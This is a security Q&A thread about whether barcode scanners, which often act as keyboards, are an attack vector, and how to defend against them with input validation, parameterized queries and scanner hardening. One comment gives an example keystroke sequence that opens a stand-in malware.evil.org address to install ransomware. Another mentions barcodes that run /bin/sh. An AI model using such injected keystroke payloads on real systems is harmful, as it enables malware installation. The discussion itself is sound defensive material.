31

I was watching a defcon video a couple of weeks ago where a guy was demonstrating how barcode readers were generally quite easy to hack. He went on to say things such as with most systems the input isn't sanitised (sounds similar to SQL injection) and that most of them were configurable by bar codes easily obtained by the manufacturer. Combined with the fact that a machine can quickly be configured to read all types of barcodes including the ones that can store in excess of 1000 characters, are barcodes a vulnerability? And how could one prevent this?

So far the possible vulnerabilities I can see are SQL injection and buffer overflows.

Improve this question
4
  • 2
    Not a duplicate, but relevant: security.stackexchange.com/questions/127942/…
    – Anders
    Nov 25, 2016 at 15:55
  • 1
    Is this the video you were talking about? Even if it isn't, good watch for those who are interested youtube.com/watch?v=qT_gwl1drhc
    – The6P4C
    Nov 28, 2016 at 0:35
  • @The6P4C that was it! It's kind of funny how Australia post doesn't have an explicit way of checking whether you've paid
    – Rob Dawson
    Nov 28, 2016 at 1:57
  • @Mark thanks for bringing up the keyboard point. I have personally created barcodes with simple "barcode generator" apps for things like /bin/sh and the shell will indeed execute the command. I have not successfully convinced one to execute arbitrary byte code payloads or anything. But can confirm the keyboard point.
    – eulerworks
    Nov 28, 2016 at 3:57

4 Answers 4

Reset to default
44

Yes, barcode scanners present a potential vulnerability. You need to prevent attacks from this vector in the same way you'd prevent attacks from any input vector, such as a network connection or a keyboard.

  1. Validate inputs in the app, not the scanner. Do not rely on configuring the scanner to only deliver 12 digit UPC-A barcodes. As every web app developer quickly learns, trusting the client to perform input sanitization is a giant security hole. Use length checks in the app to ensure that buffer overflows can't be exploited. Perform white-listing value checks to make sure you don't have out-of-bounds characters (for example, if you're expecting the user to scan only a product UPC-A or EAN-13 barcode, you should throw an exception if the input detects any non-digit values.)

  2. Code defensively. Just as with a web app, you need to make secure coding choices such as parameterized SQL. You should already be doing this to protect against keyboard-entered SQL injection attacks; barcodes are nothing special here.

  3. Harden your devices. Most barcode scanners are initially configured by scanning a series of special manufacturer provided barcodes (your scanners' documentation will describe these symbols.) Read the scanners' documentation to find the way to configure the scanners from the host computer via the data connection. Once you can configure the scanners from the computer, do so. Among the configuration items to set, you should disable the scanner's ability to read the configuration barcodes.

Improve this answer
12
  • 2
    While I agree, I'd extend "Step 1" to also validate input in the scanner, everything that interprets inputs needs them validated, and the first piece of the chain is the scanning/parsing of barcode itself.
    – domen
    Nov 25, 2016 at 14:33
  • 3
    @domen, most input can't be validated in the scanner - QR, Code-128, 3 of 9, and many more are all-purpose symbologies where no input is invalid. The scanner internally needs to be coded to be attack resistant, but that's a problem for the scanner's firmware author.
    – John Deters
    Nov 25, 2016 at 14:43
  • 1
    I disagree on point #3. Your code should be safe against whatever the scanner can dish out. At that point hardening the scanner provides no more security. However, relying on the scanner configuration for safety leaves you open when the scanner breaks and a new one is quickly configured and stuck on--and that's what's likely to happen when the production environment goes down due to a broken scanner.
    – Loren Pechtel
    Nov 26, 2016 at 11:22
  • 1
    Just hope that your barcode scanner isn't connected to a web application, via a browser, because some of them can be made to produce arbitrary key presses which may be used to make the browser do funny things (open the developer console and perform "XSS" maybe)?
    – Matti Virkkunen
    Nov 26, 2016 at 11:59
  • 1
    @MattiVirkkunen, it's worse than that. Malicious barcodes can reconfigure the scanner to be a keyboard, and then another barcode's input is treated like keys. This barcode can send <WIN>+R followed by anything the attacker wants to open, including a URL to malware.
    – John Deters
    Nov 26, 2016 at 14:36
16

Many barcode scanners are treated by the operating system as a type of keyboard. This gives them exactly the same attack surface as somebody typing in the barcode's information at the keyboard. As an extreme example, a barcode scanner that understands byte-mode PDF 417 or binary QR code could command the computer to exit the current program, launch Internet Explorer, download a program from the website of the attacker's choice, and run that program.

Improve this answer
3
  • 8
    That's just straight out dangerous...
    – Rob Dawson
    Nov 26, 2016 at 1:17
  • 1
    Mark's point is why I said to harden the device. Let's say you limit the scanner to UPC-A only. By presenting the right sequence of configuration barcodes, the attacker can reconfigure the scanner to accept byte-mode PDF 417, and to act as a keyboard instead of a USB device. Finally, he sends the keystroke sequence <WIN>+R http :// malware.evil.org / install_ransomware.php <ENTER>. Game over.
    – John Deters
    Nov 26, 2016 at 2:03
  • This sounds like it has great potential to make a sort of obfuscated code contest
    – Andy
    Nov 26, 2016 at 15:09
2

Barcode is just a representation of input.

are barcodes a vulnerability? could be written as are inputs a vulnerability?. In itself no, but it's an attack vector.

Barcodes normally encode numerical, string or binary data. In addition to how that data can be used for exploitation at different levels (you mention buffer overflow, but it goes way up the software chain - barcodes can include URLs that are interpreted by OS/browser, and later by software on server side), also consider the parsing of barcodes itself, which might contain out of bounds accesses, overflows etc.

Prevention? As always, input validation an sanitation.

Improve this answer
0
0

Without input validation everything is a possible attack vector. I even heard about a SQLI using number plates as the input source. When programming a speed camera, nobody would think of such a crazy idea, and that's the problem!

Improve this answer
1

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .